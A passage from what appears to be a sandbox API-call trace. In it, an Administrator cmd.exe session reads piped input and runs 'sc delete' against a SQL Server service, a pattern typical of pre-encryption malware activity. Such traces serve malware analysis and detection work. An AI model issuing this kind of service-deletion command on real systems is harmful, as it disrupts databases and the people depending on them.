lpOverlapped=0x0) returned 1 [0066.511] GetProcessHeap () returned 0x1b0000 [0066.511] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.511] GetProcessHeap () returned 0x1b0000 [0066.511] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.511] GetProcessHeap () returned 0x1b0000 [0066.511] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.511] GetProcessHeap () returned 0x1b0000 [0066.511] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.511] GetProcessHeap () returned 0x1b0000 [0066.511] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x52) returned 0x1c97e0 [0066.512] GetConsoleOutputCP () returned 0x1b5 [0066.512] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.512] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.512] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.512] GetProcessHeap () returned 0x1b0000 [0066.512] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.512] GetProcessHeap () returned 0x1b0000 [0066.512] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x58) returned 0x1c9840 [0066.513] GetProcessHeap () returned 0x1b0000 [0066.513] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0066.513] SetErrorMode (uMode=0x0) returned 0x1 [0066.513] SetErrorMode (uMode=0x1) returned 0x0 [0066.513] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.513] SetErrorMode (uMode=0x1) returned 0x1 [0066.513] GetProcessHeap () returned 0x1b0000 [0066.513] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0066.513] GetProcessHeap () returned 0x1b0000 [0066.513] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0066.513] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.513] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.513] GetProcessHeap () returned 0x1b0000 [0066.513] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.513] GetProcessHeap () returned 0x1b0000 [0066.513] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.513] GetProcessHeap () returned 0x1b0000 [0066.513] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.513] GetProcessHeap () returned 0x1b0000 [0066.513] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.513] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.513] GetProcessHeap () returned 0x1b0000 [0066.513] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0066.514] GetProcessHeap () returned 0x1b0000 [0066.514] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0066.514] GetProcessHeap () returned 0x1b0000 [0066.514] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0066.514] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.514] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.514] GetLastError () returned 0x2 [0066.514] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.514] GetLastError () returned 0x2 [0066.514] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.514] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.515] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.515] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.515] GetLastError () returned 0x2 [0066.515] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.515] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.515] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.515] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.515] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.515] GetProcessHeap () returned 0x1b0000 [0066.515] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.515] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.516] GetProcessHeap () returned 0x1b0000 [0066.516] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xbe) returned 0x1c9180 [0066.516] GetProcessHeap () returned 0x1b0000 [0066.516] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xbe [0066.516] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQLFDLauncher$OPTIMA\"") returned 1 [0066.516] GetProcessHeap () returned 0x1b0000 [0066.517] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.517] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.517] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.517] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.517] GetProcessHeap () returned 0x1b0000 [0066.517] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.517] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.518] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.518] GetProcessHeap () returned 0x1b0000 [0066.518] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.518] GetProcessHeap () returned 0x1b0000 [0066.518] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.518] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQLFDLauncher$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQLFDLauncher$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"MSSQLFDLauncher$OPTIMA\"", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x1c0, dwThreadId=0x48c)) returned 1 [0066.522] CloseHandle (hObject=0x50) returned 1 [0066.522] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.522] GetProcessHeap () returned 0x1b0000 [0066.522] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0066.522] GetEnvironmentStringsW () returned 0x1d1b10* [0066.523] GetProcessHeap () returned 0x1b0000 [0066.523] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.523] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.523] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.523] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.523] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0066.575] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.575] CloseHandle (hObject=0x54) returned 1 [0066.575] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.575] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.575] GetProcessHeap () returned 0x1b0000 [0066.575] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.575] GetEnvironmentStringsW () returned 0x1d1b10* [0066.576] GetProcessHeap () returned 0x1b0000 [0066.576] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.576] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.576] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.576] GetProcessHeap () returned 0x1b0000 [0066.576] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.576] GetEnvironmentStringsW () returned 0x1d1b10* [0066.576] GetProcessHeap () returned 0x1b0000 [0066.576] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.576] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.576] GetProcessHeap () returned 0x1b0000 [0066.576] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.576] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.576] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.577] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.577] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.577] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.577] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.577] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.577] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.577] GetConsoleOutputCP () returned 0x1b5 [0066.578] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.578] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.578] GetProcessHeap () returned 0x1b0000 [0066.578] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.578] GetProcessHeap () returned 0x1b0000 [0066.578] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.578] GetProcessHeap () returned 0x1b0000 [0066.578] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.578] GetProcessHeap () returned 0x1b0000 [0066.578] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.578] GetProcessHeap () returned 0x1b0000 [0066.578] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9840 | out: hHeap=0x1b0000) returned 1 [0066.578] GetProcessHeap () returned 0x1b0000 [0066.578] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.578] GetProcessHeap () returned 0x1b0000 [0066.578] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0066.578] GetProcessHeap () returned 0x1b0000 [0066.578] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.578] GetProcessHeap () returned 0x1b0000 [0066.578] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.579] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.579] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.579] GetFileType (hFile=0x120) returned 0x3 [0066.579] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.579] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.579] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.579] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.579] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.579] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.579] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.579] GetFileType (hFile=0x120) returned 0x3 [0066.579] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.579] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.580] GetFileType (hFile=0xb8) returned 0x3 [0066.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.580] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.580] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.580] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.580] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.580] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.580] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.580] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.580] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.580] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.581] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.581] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.581] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.581] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.581] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.581] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.581] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.581] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.581] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.581] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.581] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.581] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.581] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 